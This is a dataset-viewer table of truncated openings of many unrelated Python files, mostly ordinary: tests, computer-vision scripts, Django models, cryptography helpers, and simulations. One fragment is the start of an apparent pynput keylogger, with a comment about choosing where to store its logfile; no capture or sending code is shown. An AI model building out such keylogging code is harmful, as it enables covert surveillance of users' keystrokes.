content stringlengths 5 1.05M |
|---|
"""Tests for the base completer's logic (xonsh/completer.py)"""
import pytest
from xonsh.completers.tools import RichCompletion, contextual_command_completer, non_exclusive_completer
from xonsh.completer import Completer
from xonsh.parsers.completion_context import CommandContext
@pytest.fixture(scope="session")
de... |
import face_recognition
import cv2
import numpy as np
import torch
import torchtext
import os
import sys
import string
import random
import imutils
import datetime
from google.cloud import vision
class Sercurity:
def __init__(self, datasets_path, accumWeight=0.5):
self.glove = torchtext.vocab.GloVe(name="6B", dim=5... |
#!/usr/bin/env python3
__author__ = 'Thibaut Kovaltchouk'
# -*- coding: utf-8 -*-
filename = "lenna.jpg"
import numpy as np
import cv2
def replace_impose(imageBGR, value, impose="H"):
imgIn = cv2.cvtColor(imageBGR, cv2.COLOR_BGR2HSV)
# we fixe the value depending of the parameter impose
if impose.lower()... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import string
input_text = open('idz2.txt', 'r').read().lower().split(' ')
alphabet = list(string.ascii_lowercase)
unique_words = []
for word in input_text:
if word not in unique_words:
unique_words.append(word)
unique_words = re.sub(r'[^\w\s]', ... |
import argparse
import html
import json
import os
from collections import Counter
from tqdm import tqdm
import numpy as np
import pandas as pd
import torch
from fairseq.modules.adaptive_input import AdaptiveInput
from fairseq.modules.adaptive_softmax import AdaptiveSoftmax
num_layers = 16
def get_model(model_dir... |
import os
import os.path
from typing import List
from pathlib import Path
def get_cirrus_lib_requirements() -> List[str]:
'''
Get the cirrus-lib dependencies.
'''
try:
from importlib import metadata
except ImportError:
import importlib_metadata as metadata
return [
re... |
x = int(input("Escolha\n1.Cagar\n2.Mijar\n3.Peidar\n"))
if x == 1:
print("cagão")
else:
print("mijão")
x = 10
y = 15
z = 25
print(x == z - y and z != y - x or not y != z - x)
|
from types import SimpleNamespace
from . import errors
import logging
log = logging.getLogger(__name__)
class Locker:
'''Simple locker that can be unlocked with multiple picks'''
def __init__(self):
self.unlocked = False
class LockpickStorage(SimpleNamespace):
pass
self.l... |
# This programme contains functions and classes for secp256k1 elliptic curve cryptography
import numpy as np
import hashlib
import random
from getpass import getpass
#Hard coded varaibles
# secp256k1 parameters
secp_G = [int("79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798", 16),\
int("483ADA7726... |
names = []
with open("0022.txt") as file:
for line in file:
names_in_line = map(lambda s: s[1:-1], line.split(","))
names.extend(names_in_line)
names.sort()
def name_score(name, index):
score = 0
for char in name:
score += ord(char) - 64
score *= index
return score
tot... |
'''
Created on Jan 22, 2019
@author: sven
'''
from configparser import ConfigParser
from pathlib import Path
from PySide2.QtGui import QIntValidator
from PySide2.QtWidgets import QDialog, QApplication
from PySide2 import QtCore
from ui.configDialog import Ui_Dialog
class EcManConfigDialog(QDialog):
'''
QDia... |
from .provider_base import *
from .motivato import *
|
# MIT License
# Copyright (c) 2017 MassChallenge, Inc.
from django.conf import settings
import swapper
from django.db.models import (
CASCADE,
ForeignKey,
)
from .accelerator_model import AcceleratorModel
class BasePartnerJudgeApplicationAssignment(AcceleratorModel):
judge = ForeignKey(settings.AUTH_USER... |
import os
import struct
class Secs2BodyParseError(Exception):
pass
class Secs2BodySmlParseError(Secs2BodyParseError):
pass
class Secs2BodyBytesParseError(Secs2BodyParseError):
pass
class Secs2Body:
_ITEMS = (
('L', 0x00, -1, None),
('B', 0x20, 1, 'c'),
('BOOLEAN... |
import os
import re
import pygame as p
class AssetLoader():
"""
Scan asset folders and import images
"""
ASSETSPATH = './Assets/'
PNGEXT = '.png'
_instance = None
def __new__(cls):
if cls._instance is None:
cls._instance = super(AssetLoader, cls).__new__(cls)
... |
import os.path
from . import *
class TestFilesWithSpaces(IntegrationTest):
def __init__(self, *args, **kwargs):
super().__init__('files_with_spaces', *args, **kwargs)
def test_build(self):
self.build(executable('quad damage'))
self.assertOutput([executable('quad damage')], 'QUAD DAMA... |
import json
from werkzeug.datastructures import FileStorage
from esdlvalidator.core.esdl import utils
from esdlvalidator.core.exceptions import UnknownESDLFileType
from esdlvalidator.validation.abstract_repository import SchemaRepository
from esdlvalidator.validation.validator import Validator
class ValidationServi... |
import pandas as pd
abbreviations = ['DE', 'DE-BW', 'DE-BY', 'DE-HB', 'DE-HH', 'DE-HE',
'DE-NI', 'DE-NW', 'DE-RP', 'DE-SL', 'DE-SH', 'DE-BB',
'DE-MV', 'DE-SN', 'DE-ST', 'DE-TH', 'DE-BE']
regions = ['Bundesgebiet', 'Baden-Württemberg', 'Bayern', 'Bremen', 'Hamburg', 'Hessen',
... |
from math import sqrt
a,b,c=eval(input('please input float a,b,c'))
if a==0:
print('错误,a不能为0')
else:
delta=b**2-4*a*c
if delta>=0:
x1=(-b-sqrt(delta))/(2*a)
x2=(-b+sqrt(delta))/(2*a)
else:
x1=complex((-b)/(2*a),(sqrt(-delta))/2*a)
x2=complex((-b)/(2*a),(sqrt(-delta))/2*a)... |
#-*- coding: utf-8 -*-
from confiture import Confiture, ConfigFileError
import os
from src.py.sym import SymExtractor
from src.py.log import Log, default_log_path, default_log_dir
from src.py.pintool import Pintool
from src.py.res import Result
def launch_analysis(args, analysis=None):
if analysis is None:
... |
from pelican import signals
from typographeur import typographeur
def apply_rules_for_articles(articleGenerator):
settings = articleGenerator.settings
for article in articleGenerator.articles:
article._content = typographeur(article._content, fix_semicolon=False)
def apply_rules_for_pages(pageGene... |
from __future__ import unicode_literals
from django.db import models
from django.contrib.auth.models import User
class TaskState(models.Model):
name = models.CharField(max_length=50)
def __str__(self):
return self.name
class Task(models.Model):
owner = models.ForeignKey(User)
title = model... |
import config
""" Control the custom nodes throughout """
daemon = 'bitcoind '
args = {
'regtest': '-regtest',
'datadir': '-datadir=' + config.bitcoin_data_dir,
# log all events relevant for parsing
'debug': '-debug=cmpctblock -debug=net -debug=mempool', # For mempo... |
import os
CACHE_DIR = 'cache'
def make_cache(name, content):
"""
Create cache with given content.
:param str name -- Name, or key of the cache.
:param str content -- Content of the cache
:return bool -- If True, the content is changed with previously cached
content. I.E. should process the u... |
import json
import os
import sys
import time
import re
from optparse import OptionParser
import matplotlib
import torch
from src.batcher import Batcher
from src.save_utils import save_model, load_model
from models.BERT_MLP import BERT_MLP
from models.None_MLP import None_MLP
from models.RNN_MLP import RNN_MLP
from mo... |
from jira.client import JIRA
from settings import JIRA_NAME, JIRA_PW, JIRA_SERVER
class JiraWrapper:
def __init__(self):
if not hasattr(self, '_jira'):
self._jira = JIRA(
basic_auth=(JIRA_NAME, JIRA_PW),
options={'server': JIRA_SERVER}
)
self... |
from apps.announcement import views
from django.urls import path
app_name = "announcement"
urlpatterns = [
path("announcements/", views.AnnouncementViewSet.as_view({"get": "list"})),
path(
"announcements/<int:pk>/",
views.AnnouncementViewSet.as_view({"get": "retrieve"}),
),
path(
... |
import numpy as np
from ..helper import drawStart
from ..world import World
from ..car import Car
from ..image import Image
class Options:
def __init__(
self, track=True, cones=True, car=True, lidar=False, start=True
) -> None:
self.track = track
self.cones = cones
self.car = ... |
from rest_framework import serializers
from django.contrib.auth.models import User
from .models import Profile, Project
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ('username',)
class ProfileSerializer(serializers.ModelSerializer):
account_holder = User... |
# make files in this directory importable
"""A selection of genetic algorithm code."""
__docformat__ = "restructuredtext en"
|
from netapp.ntdtest.group8_multiple_info import Group8MultipleInfo
from netapp.netapp_object import NetAppObject
class Group7MultipleInfo(NetAppObject):
"""
1st nested typedef at level 1
"""
_zfield5 = None
@property
def zfield5(self):
"""
Generic/Dummy Field 5
Attr... |
from .__version__ import __version__, __author__, __author_email__, __url__, __download_url__, __title__
from .cmpa import compare, Compare
|
from projex.lazymodule import lazy_import
from ..sqliteconnection import SQLiteStatement
orb = lazy_import('orb')
class CREATE(SQLiteStatement):
def __call__(self, model, owner='', includeReferences=True):
if issubclass(model, orb.Table):
return self._createTable(model, owner, includeReferenc... |
import ast
import configparser
import json
import logging
import os
# import pyvips
import pickle
import re
import time
import pandas as pd
from PIL import Image
from daggit.contrib.sunbird.oplib.content_reuse_utils import agg_actual_predict_df
from daggit.contrib.sunbird.oplib.content_reuse_utils import aggregation_t... |
"""
A small module to find the nearest positive definite matrix.
"""
# Copyright (c) Andrew R. McCluskey and Benjamin J. Morgan
# Distributed under the terms of the MIT License
# author: Andrew R. McCluskey (arm61)
import warnings
import numpy as np
def find_nearest_positive_definite(matrix: np.ndarray) -> np.ndarr... |
from time import time
from tables.check.base import CheckBase
from tables.models import SimpleTable
class CheckBulkUpdate(CheckBase):
name = 'bulk_update'
graph_title = 'Bulk update'
def check_rows(self, rows):
SimpleTable.objects.all().delete()
values = (SimpleTable(name='testname') for... |
#!/usr/bin/env python
"""Displays coordinate system, object net position,
and rotation type and angle.
History:
2003-03-26 ROwen Modified to use the tcc model.
2003-03-31 ROwen Switched from RO.Wdg.LabelledWdg to RO.Wdg.Gridder
2003-05-28 ROwen Modified to use RO.CoordSys.
2003-06-09 Rowen Removed dispatch... |
from connect_four.agents.agent import Agent
class Human(Agent):
def action(self, env, last_action=None):
return int(input("requesting action: "))
|
'''tzinfo timezone information for Europe/Monaco.'''
from pytz.tzinfo import DstTzInfo
from pytz.tzinfo import memorized_datetime as d
from pytz.tzinfo import memorized_ttinfo as i
class Monaco(DstTzInfo):
'''Europe/Monaco timezone definition. See datetime.tzinfo for details'''
zone = 'Europe/Monaco'
_ut... |
from seahub.tags.models import FileUUIDMap
from seahub.test_utils import BaseTestCase
from seaserv import seafile_api
class FileUUIDMapManagerTest(BaseTestCase):
def setUp(self):
self.login_as(self.user)
self.repo = seafile_api.get_repo(self.create_repo(name='test-repo', desc='',
... |
"""Return a dict containing information specified in an input busfile
Given a valid path to a file with either the .bus or .txt extension, attempts
to load the information specified by the file into numpy arrays and return the
information contained in the file as a dict. This dict will have keys 'param',
'signal', and... |
import asyncio
from oremda.typing import MPINodeReadyMessage, OperateTaskMessage, Message, MessageType
from oremda.utils.concurrency import ThreadPoolSingleton
from oremda.utils.mpi import mpi_world_size
from .event_loop import MPIEventLoop
class MPIRootEventLoop(MPIEventLoop):
"""Forward messages between the m... |
"""Mix-in classes for easy attribute setting and pretty representation
>>> class T(HasInitableAttributes, HasTypedAttributes, IsCallable):
... spam = str
... def __init__(self, eggs, ham = 'ham'): pass
...
>>> t = T('bacon'); t(ham = 'eggs'); t.spam += 'sausage'; t
__main__.T('bacon', ham = 'eggs', spam = 'sau... |
from time import sleep
from rest_framework import status
from rest_framework.renderers import TemplateHTMLRenderer
from rest_framework.response import Response
from rest_framework.views import APIView
from app.core.draw_flag_scripts.flag import Flag3
from app.core.serializers import DrawFlagSerializer
from app.core.t... |
"""
Custom importer that additionally rewrites code of all imported modules.
Based on Demo/imputil/importers.py file distributed with Python 2.x.
"""
import imp
from . import imputil
import marshal
import os
import struct
import sys
from types import CodeType
# byte-compiled file suffic character
_suffix_char = __d... |
# Copyright 2021 Sony Semiconductors Israel, Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... |
#!/usr/bin/env python3
# encoding:utf-8
import os
import cv2
from CalibrationConfig import *
# Collect calibration images and save them in calib folder
# Press the Space key on the keyboard to store the image, and press ESC to exit
cap = cv2.VideoCapture(-1)
# If the calib folder does not exist, create a new one
if ... |
"""
TAC Conformance Server
DASH-IF Implementation Guidelines: Token-based
Access Control for DASH (TAC)
"""
import requests
class Proxy(object):
"""
Handles /proxy/{url}.
"""
def on_get(self, req, resp):
"""
GET /proxy/{url}
"""
response = requests.get('ht... |
'''
Ряд - 3
'''
def printRangeOdd(n):
start = int('1' + '0' * n) - 1
if (n == 1):
end = 0
else:
end = int('9' + '9' * (n - 2))
for i in range(start, end, -2):
print(i, end=' ')
print('')
n = int(input())
printRangeOdd(n)
|
from flask import Flask, request, session, g, url_for, redirect, abort
import database
import bot
import _thread as thread
app = Flask(__name__)
with open('src/secrets/flask_key.txt') as flask_key_file:
app.secret_key = bytes(flask_key_file.readline(), "utf-8").decode("unicode_escape")
thread.start_new_thread(bot.... |
# Generated by Django 3.0.14 on 2021-08-18 12:43
from django.db import migrations
from bpp.migration_util import load_custom_sql
class Migration(migrations.Migration):
dependencies = [
("bpp", "0287_trgrm_extnsn"),
]
operations = [
migrations.RunPython(
lambda *args, **kw: ... |
import numpy as np
import matplotlib.pyplot as plt
from torch.utils.data import Dataset, DataLoader
import cv2
import zipfile
from io import StringIO
from PIL import Image
from skimage import img_as_float, img_as_ubyte
# Ignore warnings
import warnings
from data_loaders import *
import os
import os.path
warnings.filte... |
#!/usr/bin/env python3
'''This NetworkTables client listens for changes in NetworkTables values.'''
import time
from networktables import NetworkTables
import logging
# To see messages from networktables, you must setup logging
logging.basicConfig(level=logging.DEBUG)
def valueChanged(table, key, value, isNew):
... |
import numpy as np
import cv2 # OpenCV-Python
import matplotlib.pyplot as plt
import imutils
import time
import RPi.GPIO as gpio
import os
from datetime import datetime
import smtplib
from smtplib import SMTP
from smtplib import SMTPException
import email
from email.mime.multipart import MIMEMultipart
from email.mime.t... |
# Copyright 2018, Michael DeHaan LLC
# License: Apache License Version 2.0 + Commons Clause
# -------------------------------------------------------------------------
# svn.py - this code contains support for the old-and-busted Subversion
# version control system, for those that are not yet using git, which
# is... |
from .megadepth import MegaDepth_SIFT, MegaDepth_superpoint, MegaDepth_Depth
from .hpatches import HPatch_SIFT
from .aachen import Aachen_Day_Night
from .ETH_local_feature import ETH_LFB |
#!/usr/bin/env python
import numpy as np
import matplotlib.pyplot as plt
import rospy
import tf
import tf2_ros
import sensor_msgs.point_cloud2 as pc2
import pcl # https://github.com/strawlab/python-pcl/
import sys
import yaml
import os
from sensor_msgs.msg import PointCloud2
def translation_as_list(t):
return [t.x... |
from .voivodeships import VOIVODESHIPS
from .api_codes import API_CODES
from .bir_version_maps import *
from .dev_environment import API_KEY_TEST_ENV
from .dev_environment import WARNINGS as DEV_ENV_WARNINGS
|
# Simulation under multi-agent and ask/bid setting with inventory
import copy
import numpy as np
import pickle
np.random.seed(12345)
class bcolors:
RED = '\033[31m'
GREEN = '\033[32m'
YELLOW = '\033[33m'
BLUE = '\033[34m'
PINK = '\033[35m'
GREY = '\033[36m'
ENDC = '\033[0m'
BOLD = '\033... |
# Copyright 2016 by Raytheon BBN Technologies Corp. All Rights Reserved.
import unittest
# Test functions in multi.py
from .helpers import testable_sequence, discard_zero_Ids, \
channel_setup, assertPulseSequenceEqual
from pyqgl2.main import compile_function
from QGL import *
class TestMulti(unittest.TestCase)... |
# from https://github.com/deepmind/open_spiel
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
import scipy.linalg as la
from open_spiel.python.egt import utils
from open_spiel.python.egt.alpharank import *
import matplotlib.patches as pat... |
from sklearn.model_selection import cross_val_score
from sklearn.model_selection import ShuffleSplit
from sklearn.svm import SVC
from sklearn import svm,datasets
from sklearn.model_selection import GridSearchCV
def chooseBestParams(dataset,label):
parameters={'kernel':('rbf','linear'),'C':[1,5,7]}
svr=svm.SVC... |
from magma import *
IOBUF = DeclareCircuit("IOBUF", "T", In(Bit),
"I", In(Bit),
"IO", InOut(Bit),
"O", Out(Bit))
def IOB(**params):
iob = IOBUF(**params)
args = ["T", iob.T, "I", iob.I, "IO", iob.IO, "O", iob.O]
... |
#!/usr/bin/env python3
import pywind.evtframework.handlers.udp_handler as udp_handler
import pywind.evtframework.handlers.tcp_handler as tcp_handler
import socket, time
import freenet.lib.base_proto.utils as proto_utils
import freenet.lib.logging as logging
class tcp_tunnel(tcp_handler.tcp_handler):
__crypto = No... |
import asyncio
import virtualreality.util.utilz as u
addrs = ("127.0.0.1", 6969)
myTasks = []
async def tcp_echo_client(message, loop):
reader, writer = await asyncio.open_connection(*addrs, loop=loop)
# print('Send: %r' % message)
writer.write(u.format_str_for_write("nut"))
data = await u.read(re... |
"""
Adapted from https://github.com/ENCODE-DCC/atac-seq-pipeline/blob/master/src/encode_lib_log_parser.py
"""
from collections import OrderedDict
from statistics import median
import json
import os
def to_int(var):
try:
return int(var)
except ValueError:
return None
def to_float(var):
tr... |
'''
СООБЩЕНИЯ БОТА
VOTEBAN BOT
'''
prefix = '[VOTEBAN] '
# С ФОРМАТИРОВАНИЕМ:
finish_vote = prefix + 'Голосование за кик {0} завершено. Голосов за: {1}, голосов против: {2}.'
start_vote = prefix + 'Кикаем [{0}|{1}]?\nЧтобы проголосовать за - пишите "!да" / "!+" / "!yes". Против - "!нет" / "!-" / "!no"\nГолос... |
# image/controllers.py
# Brought to you by We Vote. Be good.
# -*- coding: UTF-8 -*-
import requests
import wevote_functions.admin
from .functions import analyze_remote_url, analyze_image_file, analyze_image_in_memory
from .models import WeVoteImageManager, WeVoteImage, \
CHOSEN_FAVICON_NAME, CHOSEN_LOGO_NAME, CHO... |
from dataclasses import dataclass
from enum import Enum
@dataclass
class Message:
_type: str
data: dict
class Survivor:
def __init__(
self,
id,
woodcutting=None,
foraging=None,
first_aid=None,
crafting=None,
cooking=None,
fighting=None,
... |
"""Module containing class `RepeatingTimer`."""
from threading import Thread, Timer
class RepeatingTimer(Thread):
"""Timer that fires repeatedly."""
def __init__(self, interval, function, args=None, kwargs=None):
super().__init__()
self._interval = interval
self._funct... |
#
# Copyright © 2021 Uncharted Software Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
# python3
# -*- coding: utf-8 -*-
# @Author : lina
# @Time : 2018/5/3 14:38
"""
distribution of gaussian
"""
class Gaussian():
mu1 = 0 # double type, mean value of matched pairs
mu2 = 0 # double type, mean value of unmatched pairs
sigma1 = 0 # double type, variance of matched pairs, 方... |
'''
Hello student. Thank you for downloading a CORGIS library. However, you do not need to open this library. Instead you should use the following:
import cars
If you opened the file because you are curious how this library works, then well done! We hope that you find it a useful learning experience. However,... |
import random
class Fibre(object):
"""
TODO: Add docstring
"""
def __init__(self, length=0.0, alpha=0.0):
if not isinstance(length, int) and not isinstance(length, float):
raise ValueError("Length must be float or int")
elif length < 0:
raise ValueError("Lengt... |
import warnings
import numpy as np
import tensorflow as tf
from GeneralTools.misc_fun import FLAGS
class SpectralNorm(object):
def __init__(self, sn_def, name_scope='SN', scope_prefix='', num_iter=1):
""" This class contains functions to calculate the spectral normalization of the weight matrix
... |
################################################################
# Implemented by Naozumi Hiranuma (hiranumn@uw.edu) #
# #
# Keras-compatible implmentation of Integrated Gradients #
# proposed in "Axiomatic attribution for deep neuron networ... |
#!/usr/bin/env python
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
# coding: utf-8
"""
mzTab-M reference implementation and validation API.
This is the mzTab-M reference implementation and validation API service. # noqa: E501
OpenAPI spec version: 2.0.0
Contact: nils.hoffmann@isas.de
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import ... |
#!/usr/bin/env python3
#**********************************************************************
# Copyright 2016 Crown Copyright
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http:... |
a = list(range(10))
step = 30;
def setup ():
size (500 , 500)
smooth ()
noStroke ()
myInit ()
def myInit ():
global a
for i in range(len(a)):
a[i]=list(range(int(random (0, 10))))
for j in range(len(a[i])):
a[i][j] = int(random (0, 30))
def draw ()... |
# Copyright: http://nlp.seas.harvard.edu/2018/04/03/attention.html
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
import math, copy, time
from torch.autograd import Variable
import seaborn
seaborn.set_context(context="talk")
# ENCODER: CLONE
def clones(module, N):
"Produce N... |
# 各行を3コラム目の数値の逆順で整列せよ
# (注意: 各行の内容は変更せずに並び替えよ).
# 確認にはsortコマンドを用いよ(この問題はコマンドで実行した時の結果と合わなくてもよい)
# 確認コマンド
# * sort -r -k 3 popular-names.txt
# * diff <(sort -r -k 3 popular-names.txt) <(python 2_18.py) ※ bashで
columns_tuple_list = []
with open('popular-names.txt') as f:
for line in f.readlines():
columns =... |
# -*- coding: utf-8 -*-
#
# Copyright 2008 Zuza Software Foundation
#
# This file is part of translate.
#
# translate is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at y... |
from path import args
sys.path.insert(0,str(args.root_path))
from options import opt
from pathlib import Path
import os
import cv2
def strip_txt_file(txt_file, cam_dict):
_file = open(txt_file,'r')
lines = _file.readlines()
for line in lines:
line = line.strip()
ele = line.split(' ',1)
... |
def count_substring(s, sub_string):
count = 0
l = len(sub_string)
for i in range(len(s)-l+1):
if s[i:i+l]==sub_string:
count+=1
return count
if __name__ == '__main__': |
import os
print(list(range(0, 11)))
print([x * x for x in range(1, 11)])
print([x * x for x in range(1, 11) if x % 2 == 0])
print([m + n for m in 'ABC' for n in 'XYZ'])
print([d for d in os.listdir('.')])
d = {'x': 'A', 'y': 'B', 'z': 'C' }
for k, v in d.items():
print(k, '=', v)
print([k + '=' + v for k, v... |
# from data.text2json2 import BASE_DIR
import numpy as np
import json
import io
import matplotlib.pyplot as plt
import random
class Solomon:
"""This class encapsulates the VRPTW problem
"""
def __init__(self, problemName, number=1000):
"""
Creates an instance of a Solomon problem
... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2011 Loic Jaquemet loic.jaquemet+python@gmail.com
#
import logging
import ctypes
from haystack.reverse import config
from haystack.reverse import structure
"""
the Python classes to represent the guesswork record and field typing of
allocations.
"""
... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1)
#
# (1) Kamaelia Contributors are listed in the AUTHORS file and at
# http://www.kamaelia.org/AUTHORS - please extend this file,
# not this notice.
#
# Licensed under the Apache License,... |
import argparse
import configparser
import sys
def parse():
""" Parse config file, update with command line arguments
"""
# defaults arguments
defaults = { "stratfile":"strat.txt"}
# Parse any conf_file specification
conf_parser = argparse.ArgumentParser(
description=__doc__, # printed ... |
from django.db import models
from django.utils import timezone
from django.contrib.auth.models import User
import datetime
class ArtistProfile(models.Model):
"""
The user, or 'artist' profile. Contains the django.contrib.auth.models.User
instance and other fields.
"""
user = models.OneToOneField(U... |
from flask import Blueprint
assign = Blueprint('assign', __name__)
from . import get_info
from . import assign_partner |
import cv2
import numpy as np
import math
import ConfigParser
import socket
import sys
"""
looks for blobs. calculates the center of mass (centroid) of the biggest blob. sorts into ball and bumper, then send over tcp
"""
#parse config stuff
config = ConfigParser.RawConfigParser()
config.read("../vision.conf")
exp... |
from falcon import falcon
from core.sys_modules.authentication.UserServices import UserServices
from core.base_resource import BaseResource
from settings.settings import SETTINGS
class AuthenticationMiddleware(object):
"""
Authentication middleware class
"""
URL_WHITE_LIST = [
'/v1/users/logo... |
# -*- coding: utf-8 -*-
"""
Created by Huang
Date: 2018/9/5
"""
from rest_framework import serializers
# class GoodsSerializer(serializers.Serializer):
# """
# Serializer实现商品列表页
# """
# name = serializers.CharField(required=True, max_length=100)
# click_num = serializers.IntegerField(defau... |
import copy
import json
from . import ValidatorTest
from .. import validate_parsed_json, validate_string
VALID_RELATIONSHIP = u"""
{
"type": "relationship",
"id": "relationship--44298a74-ba52-4f0c-87a3-1824e67d7fad",
"created_by_ref": "identity--f431f809-377b-45e0-aa1c-6a4751cae5ff",
"created": "2016-... |
#!/usr/bin/env python3
from pynput.keyboard import Listener
import socket
import os
import pwd
import requests
'''
The logfile location may vary upon the user which is running
the software. With that in mind, i wrote this function to harvest
this info and use it during runtime
'''
userdata = pwd.getpwuid(os.getuid())... |
"""
Tfchain Client
"""
from Jumpscale import j
from json import dumps
from JumpscaleLib.clients.blockchain.tfchain.errors import InvalidTfchainNetwork, NoExplorerNetworkAddresses
from JumpscaleLib.clients.blockchain.tfchain.TfchainNetwork import TfchainNetwork
from JumpscaleLib.clients.blockchain.rivine.RivineWallet ... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 14 17:38:42 2015
@author: pavel
"""
import os
import time
import threading
from sys import argv
import gi
gi.require_version('Gst', '1.0')
from gi.repository import GObject, Gst
from urllib.parse import urljoin
from urllib.request import pathna... |
from Code.pca_variance import demo_variance_explained_curve
# Try the demo thing
demo_variance_explained_curve() |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.